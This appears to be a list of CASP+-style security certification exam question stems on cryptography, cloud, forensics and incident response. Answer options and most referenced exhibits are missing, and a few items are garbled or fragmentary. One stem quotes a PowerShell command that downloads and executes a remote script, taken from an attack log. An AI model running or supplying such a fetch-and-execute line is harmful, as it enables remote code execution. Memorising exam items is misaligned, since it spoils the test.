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A security engineer is implementing a server-side TLS configuration that provides forward secrecy and authenticated encryption with associated data. Which of the following algorithms, when combined into a cipher suite, will meet these requirements? (Choose three.)
The Chief Security Officer (CSO) requested the security team implement technical controls that meet the following requirements:
* Monitors traffic to and from both local NAS and cloud-based file repositories
* Prevents on-site staff who are accessing sensitive customer Pll documents on file repositories from accidentally or deliberately sharing sensitive documents on personal Saa$S solutions
* Uses document attributes to reduce false positives
* Is agentless and not installed on staff desktops or laptops
Which of the following when installed and configured would BEST meet the CSO's requirements? (Select TWO).
A security researcher detonated some malware in a lab environment and identified the following commands running from the EDR tool:
With which of the following MITRE ATT&CK TTPs is the command associated? (Select TWO).
Which of the following processes involves searching and collecting evidence during an investigation or lawsuit?
A global organization's Chief Information Security Officer (CISO) has been asked to analyze the risks involved in a plan to move the organization's current MPLS-based WAN network to use commodity Internet and SD-WAN hardware. The SD-WAN provider is currently highly regarded but Is a regional provider. Which of the following is MOST likely identified as a potential risk by the CISO?
A hospitality company experienced a data breach that included customer Pll. The hacker used social engineering to convince an employee to grant a third-party application access to some company documents within a cloud file storage service. Which of the following is the BEST solution to help prevent this type of attack in the future?
A security consultant has been asked to identify a simple, secure solution for a small business with a single access point. The solution should have a single SSID and no guest access. The customer
facility is located in a crowded area of town, so there is a high likelihood that several people will come into range every day. The customer has asked that the solution require low administrative overhead
and be resistant to offline password attacks. Which of the following should the security consultant recommend?
The CI/CD pipeline requires code to have close to zero defects and zero vulnerabilities. The current process for any code releases into production uses two-week Agile sprints. Which of the following would BEST meet the requirement?
An organization established an agreement with a partner company for specialized help desk services. A senior security officer within the organization Is tasked with providing documentation required to set up a dedicated VPN between the two entities. Which of the following should be required?
In order to authenticate employees who, call in remotely, a company's help desk staff must be able to view partial Information about employees because the full information may be considered sensitive. Which of the following solutions should be implemented to authenticate employees?
A security solution uses a sandbox environment to execute zero-day software and collect indicators of compromise. Which of the following should the organization do to BEST take advantage of this solution?
A developer needs to implement PKI in an autonomous vehicle's software in the most efficient and labor-effective way possible. Which of the following will the developer MOST likely implement?
An organization is in frequent litigation and has a large number of legal holds. Which of the following types of functionality should the organization's new email system provide?
An organization is moving its intellectual property data from on premises to a CSP and wants to secure the data from theft. Which of the following can be used to mitigate this risk?
In comparison with traditional on-premises infrastructure configurations, defining ACLs in a CSP relies on:
An architectural firm is working with its security team to ensure that any draft images that are leaked to the public can be traced back to a specific external party. Which of the following would BEST accomplish this goal?
An investigator is attempting to determine if recent data breaches may be due to issues with a company's web server that offers news subscription services. The investigator has gathered the following
data:
• Clients successfully establish TLS connections to web services provided by the server.
• After establishing the connections, most client connections are renegotiated
• The renegotiated sessions use cipher suite SHR.
Which of the following is the MOST likely root cause?
A security analyst is reviewing SIEM events and is uncertain how to handle a particular event. The file is reviewed with the security vendor who is aware that this type of file routinely triggers this alert.
Based on this information, the security analyst acknowledges this alert Which of the following event classifications is MOST likely the reason for this action?
A third-party organization has implemented a system that allows it to analyze customers' data and deliver analysis results without being able to see the raw data. Which of the following is the organization implementing?
A security consultant is designing an infrastructure security solution for a client company that has provided the following requirements:
• Access to critical web services at the edge must be redundant and highly available.
• Secure access services must be resilient to a proprietary zero-day vulnerability in a single component.
• Automated transition of secure access solutions must be able to be triggered by defined events or manually by security operations staff.
Which of the following solutions BEST meets these requirements?
A company wants to implement a new website that will be accessible via browsers with no mobile applications available. The new website will allow customers to submit sensitive medical information securely and receive online medical advice. The company already has multiple other websites where it provides various public health data and information. The new website must implement the following:
• The highest form Of web identity validation
• Encryption of all web transactions
• The strongest encryption in-transit
• Logical separation based on data sensitivity
Other things that should be considered include:
• The company operates multiple other websites that use encryption.
• The company wants to minimize total expenditure.
• The company wants to minimize complexity
Which of the following should the company implement on its new website? (Select TWO).
An analyst has prepared several possible solutions to a successful attack on the company. The solutions need to be implemented with the LEAST amount of downtime. Which of the following should the analyst perform?
A security analyst is reviewing a new IOC in which data is injected into an online process. The IOC shows the data injection could happen in the following ways:
• Five numerical digits followed by a dash, followed by four numerical digits; or
• Five numerical digits
When one of these IOCs is identified, the online process stops working. Which of the following regular expressions should be implemented in the NIPS?
In a cloud environment, the provider offers relief to an organization's teams by sharing in many of the operational duties. In a shared responsibility model, which of the following responsibilities belongs to the provider in a Paas implementation?
An engineering team has deployed a new VPN service that requires client certificates to be used in order to successfully connect. On iOS devices, however, the following error occurs after importing the .p12 certificate file:
mbedTLS: ca certificate undefined
Which of the following is the root cause of this issue?
A systems administrator was given the following IOC to detect the presence of a malicious piece of software communicating with its command-and-control server:
post /malicious. php
User-Agent: Malicious Tool V 1.0
Host: www.rcalicious.com
The IOC documentation suggests the URL is the only part that could change. Which of the following regular expressions would allow the systems administrator to determine if any of the company hosts are compromised, while reducing false positives?
A company has decided that only administrators are permitted to use PowerShell on their Windows computers. Which of the following is the BEST way for an administrator to implement this decision?
A junior developer is informed about the impact of new malware on an Advanced RISC Machine (ARM) CPU, and the code must be fixed accordingly. Based on the debug, the malware is able to insert itself in another process ‘memory location. Which of the following technologies can the developer enable on the ARM architecture to prevent this type of malware?
An organization is running its e-commerce site in the cloud. The capacity is sufficient to meet the organization's needs throughout most of the year, except during the holidays when the organization plans to introduce a new line of products and expects an increase in traffic. The organization is not sure how well its products will be received. To address this issue, the organization needs to ensure that:
* System capacity is optimized.
* Cost is reduced.
Which of the following should be implemented to address these requirements? (Select TWO).
A security analyst runs a vulnerability scan on a network administrator's workstation The network administrator has direct administrative access to the company's SSO web portal The vulnerability scan uncovers cntical vulnerabilities with equally high CVSS scores for the user's browser, OS, email client and an offline password manager Which of the following should the security analyst patch FIRST?
Which of the following objectives BEST supports leveraging tabletop exercises in business continuity planning?
A company is on a deadline to roll out an entire CRM platform to all users at one time. However, the company is behind schedule due to reliance on third-party vendors. Which of the following development approaches will allow the company to begin releases but also continue testing and development for future releases?
Which of the following indicates when a company might not be viable after a disaster?
The Chief Information Security Officer (CISO) asked a security manager to set up a system that sends an alert whenever a mobile device enters a sensitive area of the company's data center. The CISO would also like to be able to alert the individual who is entering the area that the access was logged and monitored. Which of the following would meet these requirements?
A software development company is building a new mobile application for its social media platform. The company wants to gain its users' trust by reducing the risk of on-path attacks between the mobile
client and its servers and by implementing stronger digital trust. To support users' trust, the company has released the following internal guidelines:
• Mobile clients should verify the identity of all social media servers locally.
• Social media servers should improve TLS performance of their certificate status
• Social media servers should inform the client to only use HTTPS.
Given the above requirements, which of the following should the company implement? (Select TWO).
A pharmaceutical company was recently compromised by ransomware. Given the following EDR output from the process investigation:
On which of the following devices and processes did the ransomware originate?
Which of the following testing plans is used to discuss disaster recovery scenarios with representatives from multiple departments within an incident response team but without taking any invasive actions?
Which of the following BEST describes a common use case for homomorphic encryption ?
An organization is looking to establish more robust security measures by implementing PKI. Which of the following should the security analyst implement when considering mutual authentication?
A company wants to refactor a monolithic application to take advantage of cloud native services and service microsegmentation to secure sensitive application components. Which of the following should the company implement to ensure the architecture is portable?
Which of the following should be established when configuring a mobile device to protect user internet privacy, to ensure the connection is encrypted, and to keep user activity hidden? (Select TWO).
A cloud security architect has been tasked with finding a solution for hardening VMS. The solution must meet the following requirements:
• Data needs to be stored outside of the VMS.
• No unauthorized modifications to the VMS are allowed
• If a change needs to be done, a new VM needs to be deployed.
Which of the following is the BEST solution?
A security engineer performed an assessment on a recently deployed web application. The engineer was able to exfiltration a company report by visiting the following URL:
www.intranet.abc.com/get-files.jsp?file=report.pdf
Which of the following mitigation techniques would be BEST for the security engineer to recommend?
A security engineer is assessing the security controls of loT systems that are no longer supported for updates and patching. Which of the following is the best mitigation for defending these loT systems?
After installing an unapproved application on a personal device, a Chief Executive Officer reported an incident to a security analyst. This device is not controlled by the MDM solution, as stated in the BYOD policy. However, the device contained critical confidential information. The cyber incident response team performed the analysis on the device and found the following log:
Which of the following is the most likely reason for the successful attack?
A technology company developed an in-house chat application that is used only by developers. An open-source library within the application has been deprecated. The facts below are provided:
The cost of replacing this system is nominal.
The system provides no revenue to the business.
The system is not a critical part of the business.
Which of the following is the best risk mitigation strategy?
Signed applications reduce risks by:
A security administrator is setting up a virtualization solution that needs to run services from a single host. Each service should be the only one running in its environment. Each environment needs to have its own operating system as a base but share the kernel version and properties of the running host. Which of the following technologies would best meet these requirements?
A technician accidentally deleted the secret key that was corresponding to the public key pinned to a busy online magazine. To remedy the situation, the technician obtained a new certificate with a different key. However, paying subscribers were locked out of the website until the key-pinning policy expired. Which of the following alternatives should the technician adopt to prevent a similar issue in the future?
An accounting team member received a voicemail message from someone who sounded like the Chief Financial Officer (CFO). In the voicemail message, the caller requested a wire transfer to a bank account the organization had not used before. Which of the following best describes this type of attack?
A security engineer is creating a single CSR for the following web server hostnames:
• wwwint internal
• www company com
• home.internal
• www internal
Which of the following would meet the requirement?
An application engineer is using the Swagger framework to leverage REST APIs to authenticate endpoints. The engineer is receiving HTTP 403 responses. Which of the following should the engineer do to correct this issue? (Select two).
A mobile device hardware manufacturer receives the following requirements from a company that wants to produce and sell a new mobile platform:
•The platform should store biometric data.
•The platform should prevent unapproved firmware from being loaded.
• A tamper-resistant, hardware-based counter should track if unapproved firmware was loaded.
Which of the following should the hardware manufacturer implement? (Select three).
A company's Chief Information Security Officer wants to prevent the company from being the target of ransomware. The company's IT assets need to be protected. Which of the following are the most secure options to address these concerns? (Select three).
A security analyst is examining a former employee's laptop for suspected evidence of suspicious activity. The analyst uses dd during the investigation. Which of the following best explains why the analyst is using this tool?
A development team needs terminal access to preproduction servers to verify settings and enter purchased license keys. To address the team’s needs, the security administrator implements the following requirements:
•Only trusted accounts can access the preproduction servers.
•Developers cannot access the preproduction servers directly from their workstations.
•The trusted accounts should only have access to specific preproduction servers.
Which of the following are necessary to fulfill the security requirements? (Select two).
A Chief Security Officer (CSO) is concerned about the number of successful ransomware attacks that have hit the company. The data Indicates most of the attacks came through a fake email. The company has added training, and the CSO now wants to evaluate whether the training has been successful. Which of the following should the CSO implement?
After the latest risk assessment, the Chief Information Security Officer (CISO) decides to meet with the development and security teams to find a way to reduce the security task workload The CISO would like to:
* Have a solution that uses API to communicate with other security tools
* Use the latest technology possible
* Have the highest controls possible on the solution
Which of following is the best option to meet these requirements?
The primary advantage of an organization creating and maintaining a vendor risk registry is to:
A software development company wants to ensure that users can confirm the software is legitimate when installing it. Which of the following is the best way for the company to achieve this security objective?
A SOC analyst received an alert about a potential compromise and is reviewing the following SIEM logs:
Which of the following is the most appropriate action for the SOC analyst to recommend?
An analyst determined that the current process for manually handling phishing attacks within the company is ineffective. The analyst is developing a new process to ensure phishing attempts are handled internally in an appropriate and timely manner. One of the analyst's requirements is that a blocklist be updated automatically when phishing attempts are identified. Which of the following would help satisfy this requirement?
A bank hired a security architect to improve its security measures against the latest threats The solution must meet the following requirements
• Recognize and block fake websites
• Decrypt and scan encrypted traffic on standard and non-standard ports
• Use multiple engines for detection and prevention
• Have central reporting
Which of the following is the BEST solution the security architect can propose?
A customer requires secure communication of subscribed web services at all times, but the company currently signs its own certificate requests to an internal CA. Which of the following approaches will best meet the customer's requirements?
The security analyst discovers a new device on the company’s dedicated loT subnet during the most recent vulnerability scan. The scan results show numerous open ports and insecure protocols in addition to default usernames and passwords. A camera needs to transmit video to the security server in the loT subnet. Which of the following should the security analyst recommend to securely operate the camera?
A security engineer needs to implement a cost-effective authentication scheme for a new web-based application that requires:
•Rapid authentication
•Flexible authorization
•Ease of deployment
•Low cost but high functionality
Which of the following approaches best meets these objectives?
Which of the following is the best reason for obtaining file hashes from a confiscated laptop?
An administrator completed remediation for all the findings of a penetration test and notifies the management team that the systems are ready to be placed back into production. Which of the following steps should the management team require the analyst to perform immediately before placing the systems back into production?
A security analyst and a DevOps engineer are working together to address configuration drifts in highly scalable systems that are leading to increased vulnerability findings. Which of the following recommendations would be best to eliminate this issue?
A security engineer receives reports through the organization's bug bounty program about remote code execution in a specific component in a custom application. Management wants to properly secure the component and proactively avoid similar issues. Which of the following is the best approach to uncover additional vulnerable paths in the application?
A large organization is planning to migrate from on premises to the cloud. The Chief Information Security Officer (CISO) is concerned about security responsibilities. If the company decides to migrate to the cloud, which of the following describes who is responsible for the security of the new physical datacenter?
An ASIC manufacturer wishing to best reduce downstream supply chain risk can provide validation instructions for consumers that:
An loT device implements an encryption module built within its SoC where the asymmetric private key has been defined in a write-once read-many portion of the SoC hardware Which of the following should the loT manufacture do if the private key is compromised?
Vault encryption using a variable block and key size
Resistance to brute-force attacks
Which of the following should be implemented to meet these requirements? (Select two.)
During a vendor assessment, an analyst reviews a listing of the complementary user entity controls included in the audit report. Which of the following is the most important aspect to consider when reviewing this list with the security team?
A security architect is implementing a SOAR solution in an organization's cloud production environment to support detection capabilities. Which of the following will be the most likely benefit?
A web service provider has just taken on a very large contract that comes with requirements that are currently not being implemented in order to meet contractual requirements, the company must achieve the following thresholds
• 99 99% uptime
• Load time in 3 seconds
• Response time = <1 0 seconds
Starting with the computing environment, which of the following should a security engineer recommend to BEST meet the requirements? (Select THREE)
A company reviews the regulatory requirements associated with a new product, and then company management elects to cancel production. Which of the following risk strategies is the company using in this scenario?
A PKI engineer is defining certificate templates for an organization's CA and would like to ensure at least two of the possible SAN certificate extension fields populate for documentation purposes. Which of the following are explicit options within this extension? (Select two).
A security analyst has been provided the following partial Snort IDS rule to review and add into the company's Snort IDS to identify a CVE:
Which of the following should the analyst recommend to mitigate this type of vulnerability?
A cyberanalyst for a government agency is concerned about how Pll is protected A supervisor indicates that a Privacy Impact Assessment must be done. Which of the following describes a function of a Privacy Impact Assessment?
A security engineer needs to select the architecture for a cloud database that will protect an organization's sensitive data. The engineer has a choice between a single-tenant or a multitenant database architecture offered by a cloud vendor. Which of the following best describes the security benefits of the single-tenant option? (Select two).
A new requirement for legislators has forced a government security team to develop a validation process to verify the integrity of a downloaded file and the sender of the file Which of the following is the BEST way for the security team to comply with this requirement?
Which of the following provides the best solution for organizations that want to securely back up the MFA seeds for its employees in a central, offline location with minimal
management overhead?
Device event logs sources from MDM software as follows:
Which of the following security concerns and response actions would BEST address the risks posed by the device in the logs?
During a remodel, a company’s computer equipment was moved to a secure storage room with cameras positioned on both sides of the door. The door is locked using a card reader issued by the security team, and only the security team and department managers have access to the room. The company wants to be able to identify any unauthorized individuals who enter the storage room by following an authorized employee.
Which of the following processes would BEST satisfy this requirement?
UESTION NO: 36
Which of the following is a benefit of using steganalysis techniques in forensic response?
An organization is considering a BYOD standard to support remote working. The first iteration of the solution will utilize only approved collaboration applications and the ability to move corporate data between those applications. The security team has concerns about the following:
Unstructured data being exfiltrated after an employee leaves the organization
Data being exfiltrated as a result of compromised credentials
Sensitive information in emails being exfiltrated
Which of the following solutions should the security team implement to mitigate the risk of data loss?
A company has decided to purchase a license for software that is used to operate a mission-critical process. The third-party developer is new to the industry but is delivering what the company needs at this time.
Which of the following BEST describes the reason why utilizing a source code escrow will reduce the operational risk to the company if the third party stops supporting the application?
An organization is designing a network architecture that must meet the following requirements:
Users will only be able to access predefined services.
Each user will have a unique allow list defined for access.
The system will construct one-to-one subject/object access paths dynamically.
Which of the following architectural designs should the organization use to meet these requirements?
A satellite communications ISP frequently experiences outages and degraded modes of operation over one of its legacy satellite links due to the use of deprecated hardware and software. Three days per week, on average, a contracted company must follow a checklist of 16 different high-latency commands that must be run in serial to restore nominal performance. The ISP wants this process to be automated.
Which of the following techniques would be BEST suited for this requirement?
Due to locality and budget constraints, an organization’s satellite office has a lower bandwidth allocation than other offices in the organization. As a result, the local security infrastructure staff is assessing architectural options that will help preserve network bandwidth and increase speed to both internal and external resources while not sacrificing threat visibility.
Which of the following would be the BEST option to implement?
A security analyst receives an alert from the SIEM regarding unusual activity on an authorized public SSH jump server. To further investigate, the analyst pulls the event logs directly from /var/log/auth.log: graphic.ssh_auth_log.
Which of the following actions would BEST address the potential risks by the activity in the logs?
Clients are reporting slowness when attempting to access a series of load-balanced APIs that do not require authentication. The servers that host the APIs are showing heavy CPU utilization. No alerts are found on the WAFs sitting in front of the APIs.
Which of the following should a security engineer recommend to BEST remedy the performance issues in a timely manner?
All staff at a company have started working remotely due to a global pandemic. To transition to remote work, the company has migrated to SaaS collaboration tools. The human resources department wants to use these tools to process sensitive information but is concerned the data could be:
Leaked to the media via printing of the documents
Sent to a personal email address
Accessed and viewed by systems administrators
Uploaded to a file storage site
Which of the following would mitigate the department’s concerns?
An enterprise is deploying APIs that utilize a private key and a public key to ensure the connection string is protected. To connect to the API, customers must use the private key.
Which of the following would BEST secure the REST API connection to the database while preventing the use of a hard-coded string in the request string?
A company is preparing to deploy a global service.
Which of the following must the company do to ensure GDPR compliance? (Choose two.)
A security engineer needs to implement a solution to increase the security posture of user endpoints by providing more visibility and control over local administrator accounts. The endpoint security team is overwhelmed with alerts and wants a solution that has minimal operational burdens. Additionally, the solution must maintain a positive user experience after implementation.
Which of the following is the BEST solution to meet these objectives?
A security analyst is reviewing the following output:
Which of the following would BEST mitigate this type of attack?
A security architect works for a manufacturing organization that has many different branch offices. The architect is looking for a way to reduce traffic and ensure the branch offices receive the latest copy of revoked certificates issued by the CA at the organization’s headquarters location. The solution must also have the lowest power requirement on the CA.
Which of the following is the BEST solution?
A high-severity vulnerability was found on a web application and introduced to the enterprise. The vulnerability could allow an unauthorized user to utilize an open-source library to view privileged user information. The enterprise is unwilling to accept the risk, but the developers cannot fix the issue right away.
Which of the following should be implemented to reduce the risk to an acceptable level until the issue can be fixed?
A security analyst is concerned that a malicious piece of code was downloaded on a Linux system. After some research, the analyst determines that the suspected piece of code is performing a lot of input/output (I/O) on the disk drive.
Based on the output above, from which of the following process IDs can the analyst begin an investigation?
A company’s SOC has received threat intelligence about an active campaign utilizing a specific vulnerability. The company would like to determine whether it is vulnerable to this active campaign.
Which of the following should the company use to make this determination?
A company is implementing SSL inspection. During the next six months, multiple web applications that will be separated out with subdomains will be deployed.
Which of the following will allow the inspection of the data without multiple certificate deployments?
A new web server must comply with new secure-by-design principles and PCI DSS. This includes mitigating the risk of an on-path attack. A security analyst is reviewing the following web server configuration:
Which of the following ciphers should the security analyst remove to support the business requirements?
An organization wants to perform a scan of all its systems against best practice security configurations.
Which of the following SCAP standards, when combined, will enable the organization to view each of the configuration checks in a machine-readable checklist format for fill automation? (Choose two.)
A junior developer is informed about the impact of new malware on an Advanced RISC Machine (ARM) CPU, and the code must be fixed accordingly. Based on the debug, the malware is able to insert itself in another process memory location.
Which of the following technologies can the developer enable on the ARM architecture to prevent this type of malware?
A small company recently developed prototype technology for a military program. The company’s security engineer is concerned about potential theft of the newly developed, proprietary information.
Which of the following should the security engineer do to BEST manage the threats proactively?
An organization is implementing a new identity and access management architecture with the following objectives:
Supporting MFA against on-premises infrastructure
Improving the user experience by integrating with SaaS applications
Applying risk-based policies based on location
Performing just-in-time provisioning
Which of the following authentication protocols should the organization implement to support these requirements?
Which of the following terms refers to the delivery of encryption keys to a CASB or a third-party entity?
An organization is referencing NIST best practices for BCP creation while reviewing current internal organizational processes for mission-essential items.
Which of the following phases establishes the identification and prioritization of critical systems and functions?
A technician is reviewing the logs and notices a large number of files were transferred to remote sites over the course of three months. This activity then stopped. The files were transferred via TLS-protected HTTP sessions from systems that do not send traffic to those sites.
The technician will define this threat as:
A Chief Information Officer is considering migrating all company data to the cloud to save money on expensive SAN storage.
Which of the following is a security concern that will MOST likely need to be addressed during migration?
An energy company is required to report the average pressure of natural gas used over the past quarter. A PLC sends data to a historian server that creates the required reports.
Which of the following historian server locations will allow the business to get the required reports in an ОТ and IT environment?
A company’s claims processed department has a mobile workforce that receives a large number of email submissions from personal email addresses. An employees recently received an email that approved to be claim form, but it installed malicious software on the employee’s laptop when was opened.
A company publishes several APIs for customers and is required to use keys to segregate customer data sets.
Which of the following would be BEST to use to store customer keys?
A security engineer needs to recommend a solution that will meet the following requirements:
Identify sensitive data in the provider’s network
Maintain compliance with company and regulatory guidelines
Detect and respond to insider threats, privileged user threats, and compromised accounts
Enforce datacentric security, such as encryption, tokenization, and access control
Which of the following solutions should the security engineer recommend to address these requirements?
A company has hired a security architect to address several service outages on the endpoints due to new malware. The Chief Executive Officer’s laptop was impacted while working from home. The goal is to prevent further endpoint disruption. The edge network is protected by a web proxy.
Which of the following solutions should the security architect recommend?
A disaster recovery team learned of several mistakes that were made during the last disaster recovery parallel test. Computational resources ran out at 70% of restoration of critical services.
Which of the following should be modified to prevent the issue from reoccurring?
A home automation company just purchased and installed tools for its SOC to enable incident identification and response on software the company develops. The company would like to prioritize defenses against the following attack scenarios:
Unauthorized insertions into application development environments
Authorized insiders making unauthorized changes to environment configurations
Which of the following actions will enable the data feeds needed to detect these types of attacks on development environments? (Choose two.)
An IT administrator is reviewing all the servers in an organization and notices that a server is missing crucial practice against a recent exploit that could gain root access.
Which of the following describes the administrator’s discovery?
A vulnerability analyst identified a zero-day vulnerability in a company’s internally developed software. Since the current vulnerability management system does not have any checks for this vulnerability, an engineer has been asked to create one.
Which of the following would be BEST suited to meet these requirements?
A developer wants to maintain integrity to each module of a program and ensure the code cannot be altered by malicious users.
Which of the following would be BEST for the developer to perform? (Choose two.)
A company is looking to fortify its cybersecurity defenses and is focusing on its network infrastructure. The solution cannot affect the availability of the company’s services to ensure false positives do not drop legitimate traffic.
Which of the following would satisfy the requirement?
Which of the following allows computation and analysis of data within a ciphertext without knowledge of the plaintext?
A shipping company that is trying to eliminate entire classes of threats is developing an SELinux policy to ensure its custom Android devices are used exclusively for package tracking.
After compiling and implementing the policy, in which of the following modes must the company ensure the devices are configured to run?
A security analyst discovered that the company’s WAF was not properly configured. The main web server was breached, and the following payload was found in one of the malicious requests:
Which of the following would BEST mitigate this vulnerability?
A security analyst is reviewing the following vulnerability assessment report:
Which of the following should be patched FIRST to minimize attacks against Internet-facing hosts?
A security architect is designing a solution for a new customer who requires significant security capabilities in its environment. The customer has provided the architect with the following set of requirements:
* Capable of early detection of advanced persistent threats.
* Must be transparent to users and cause no performance degradation.
+ Allow integration with production and development networks seamlessly.
+ Enable the security team to hunt and investigate live exploitation techniques.
Which of the following technologies BEST meets the customer's requirements for security capabilities?
A forensic investigator would use the foremost command for:
An organization is prioritizing efforts to remediate or mitigate risks identified during the latest assessment. For one of the risks, a full remediation was not possible, but the organization was able to successfully apply mitigations to reduce the likelihood of impact.
Which of the following should the organization perform NEXT?
A company suspects a web server may have been infiltrated by a rival corporation. The security engineer reviews the web server logs and finds the following:
The security engineer looks at the code with a developer, and they determine the log entry is created when the following line is run:
Which of the following is an appropriate security control the company should implement?
Immediately following the report of a potential breach, a security engineer creates a forensic image of the server in question as part of the organization incident response procedure. Which of the must occur to ensure the integrity of the image?
An organization’s existing infrastructure includes site-to-site VPNs between datacenters. In the past year, a sophisticated attacker exploited a zero-day vulnerability on the VPN concentrator. Consequently,
the Chief Information Security Officer (CISO) is making infrastructure changes to mitigate the risk of service loss should another zero-day exploit be used against the VPN solution.
Which of the following designs would be BEST for the CISO to use?
A company has moved its sensitive workloads lo the cloud and needs to ensure high availability and resiliency of its web-based application. The cloud architecture team was given the following requirements
• The application must run at 70% capacity at all times
• The application must sustain DoS and DDoS attacks.
• Services must recover automatically.
Which of the following should the cloud architecture team implement? (Select THREE).
An organization decided to begin issuing corporate mobile device users microSD HSMs that must be installed in the mobile devices in order to access corporate resources remotely. Which of the following features of these devices MOST likely led to this decision? (Select TWO.)
Users are claiming that a web server is not accessible. A security engineer logs for the site. The engineer connects to the server and runs netstat -an and receives the following output:
Which of the following is MOST likely happening to the server?
An organization's finance system was recently attacked. A forensic analyst is reviewing the contents of the compromised files for credit card data. Which of the following commands should
the analyst run to BEST determine whether financial data was lost?
A security analyst is investigating a series of suspicious emails by employees to the security team. The email appear to come from a current business partner and do not contain images or URLs. No images or URLs were stripped from the message by the security tools the company uses instead, the emails only include the following in plain text.
Which of the following should the security analyst perform?
Ann, a CIRT member, is conducting incident response activities on a network that consists of several hundred virtual servers and thousands of endpoints and users. The network generates more than 10,000 log messages per second. The enterprise belong to a large, web-based cryptocurrency startup, Ann has distilled the relevant information into an easily digestible report for executive management . However, she still needs to collect evidence of the intrusion that caused the incident. Which of the following should Ann use to gather the required information?
Which of the following is required for an organization to meet the ISO 27018 standard?
Leveraging cryptographic solutions to protect data that is in use ensures the data is encrypted:
As part of its risk strategy, a company is considering buying insurance for cybersecurity incidents.
Which of the following BEST describes this kind of risk response?
A systems administrator is preparing to run a vulnerability scan on a set of information systems in the organization. The systems administrator wants to ensure that the targeted systems produce accurate information especially regarding configuration settings.
Which of the following scan types will provide the systems administrator with the MOST accurate information?
A security administrator configured the account policies per security implementation guidelines. However, the accounts still appear to be susceptible to brute-force attacks. The following settings meet the existing compliance guidelines:
Must have a minimum of 15 characters
Must use one number
Must use one capital letter
Must not be one of the last 12 passwords used
Which of the following policies should be added to provide additional security?
A company’s Chief Information Security Officer is concerned that the company’s proposed move to the cloud could lead to a lack of visibility into network traffic flow logs within the VPC.
Which of the following compensating controls would be BEST to implement in this situation?
A vulnerability assessment endpoint generated a report of the latest findings. A security analyst needs to review the report and create a priority list of items that must be addressed. Which of the following should the analyst use to create the list quickly?
A security analyst has noticed a steady increase in the number of failed login attempts to the external-facing mail server. During an investigation of one of the jump boxes, the analyst identified the following in the log file: powershell EX(New-Object Net.WebClient).DownloadString ('https://content.comptia.org/casp/whois.psl ');whois
Which of the following security controls would have alerted and prevented the next phase of the attack?
An organization is deploying a new, online digital bank and needs to ensure availability and performance. The cloud-based architecture is deployed using PaaS and SaaS solutions, and it was designed with the following considerations:
- Protection from DoS attacks against its infrastructure and web applications is in place.
- Highly available and distributed DNS is implemented.
- Static content is cached in the CDN.
- A WAF is deployed inline and is in block mode.
- Multiple public clouds are utilized in an active-passive architecture.
With the above controls in place, the bank is experiencing a slowdown on the unauthenticated payments page. Which of the following is the MOST likely cause?
Which of the following BEST sets expectation between the security team and business units within an organization?
A DevOps team has deployed databases, event-driven services, and an API gateway as PaaS solution that will support a new billing system. Which of the following security responsibilities will the DevOps team need to perform?
A Chief information Security Officer (CISO) is developing corrective-action plans based on the following from a vulnerability scan of internal hosts:
Which of the following MOST appropriate corrective action to document for this finding?
An organization developed a social media application that is used by customers in multiple remote geographic locations around the world. The organization’s headquarters and only datacenter are located in New York City. The Chief Information Security Officer wants to ensure the following requirements are met for the social media application:
Low latency for all mobile users to improve the users’ experience
SSL offloading to improve web server performance
Protection against DoS and DDoS attacks
High availability
Which of the following should the organization implement to BEST ensure all requirements are met?
A company recently acquired a SaaS provider and needs to integrate its platform into the company's existing infrastructure without impact to the customer's experience. The SaaS provider does not have a mature security program A recent vulnerability scan of the SaaS provider's systems shows multiple critical vulnerabilities attributed to very old and outdated Oss. Which of the following solutions would prevent these vulnerabilities from being introduced into the company's existing infrastructure?
A security architect was asked to modify an existing internal network design to accommodate the following requirements for RDP:
• Enforce MFA for RDP
• Ensure RDP connections are only allowed with secure ciphers.
The existing network is extremely complex and not well segmented. Because of these limitations, the company has requested that the connections not be restricted by network-level firewalls Of ACLs.
Which of the following should the security architect recommend to meet these requirements?
A cybersecurity analyst created the following tables to help determine the maximum budget amount the business can justify spending on an improved email filtering system:
Which of the following meets the budget needs of the business?
A company is looking at sending historical backups containing customer PII to a cloud service provider to save on storage costs. Which of the following is the MOST important consideration before making this decision?
A security compliance requirement states that specific environments that handle sensitive data must be protected by need-to-know restrictions and can only connect to authorized endpoints. The requirement also states that a DLP solution within the environment must be used to control the data from leaving the environment.
Which of the following should be implemented for privileged users so they can support the environment from their workstations while remaining compliant?
A vulnerability scanner detected an obsolete version of an open-source file-sharing application on one of a company’s Linux servers. While the software version is no longer supported by the OSS community, the company’s Linux vendor backported fixes, applied them for all current vulnerabilities, and agrees to support the software in the future.
Based on this agreement, this finding is BEST categorized as a:
A health company has reached the physical and computing capabilities in its datacenter, but the computing demand continues to increase. The infrastructure is fully virtualized and runs custom and commercial healthcare application that process sensitive health and payment information. Which of the following should the company implement to ensure it can meet the computing demand while complying with healthcare standard for virtualization and cloud computing?
A security analyst at a global financial firm was reviewing the design of a cloud-based system to identify opportunities to improve the security of the architecture. The system was recently involved in a data breach after a vulnerability was exploited within a virtual machine's operating system. The analyst observed the VPC in which the system was located was not peered with the security VPC that contained the centralized vulnerability scanner due to the cloud provider's limitations. Which of the following is the BEST course of action to help prevent this situation m the near future?
A bank is working with a security architect to find the BEST solution to detect database management system compromises. The solution should meet the following requirements:
♦ Work at the application layer
♦ Send alerts on attacks from both privileged and malicious users
♦ Have a very low false positive
Which of the following should the architect recommend?
Technicians have determined that the current server hardware is outdated, so they have decided to throw it out.
Prior to disposal, which of the following is the BEST method to use to ensure no data remnants can be recovered?
A development team created a mobile application that contacts a company’s back-end APIs housed in a PaaS environment. The APIs have been experiencing high processor utilization due to scraping activities. The security engineer needs to recommend a solution that will prevent and remedy the behavior.
Which of the following would BEST safeguard the APIs? (Choose two.)
An auditor Is reviewing the logs from a web application to determine the source of an Incident. The web application architecture Includes an Internet-accessible application load balancer, a number of web servers In a private subnet, application servers, and one database server In a tiered configuration. The application load balancer cannot store the logs. The following are sample log snippets:
Which of the following should the auditor recommend to ensure future incidents can be traced back to the sources?
A security is assisting the marketing department with ensuring the security of the organization’s social media platforms. The two main concerns are:
The Chief marketing officer (CMO) email is being used department wide as the username
The password has been shared within the department
Which of the following controls would be BEST for the analyst to recommend?
A company's Chief Information Officer wants to Implement IDS software onto the current system's architecture to provide an additional layer of security. The software must be able to monitor system activity, provide Information on attempted attacks, and provide analysis of malicious activities to determine the processes or users Involved. Which of the following would provide this information?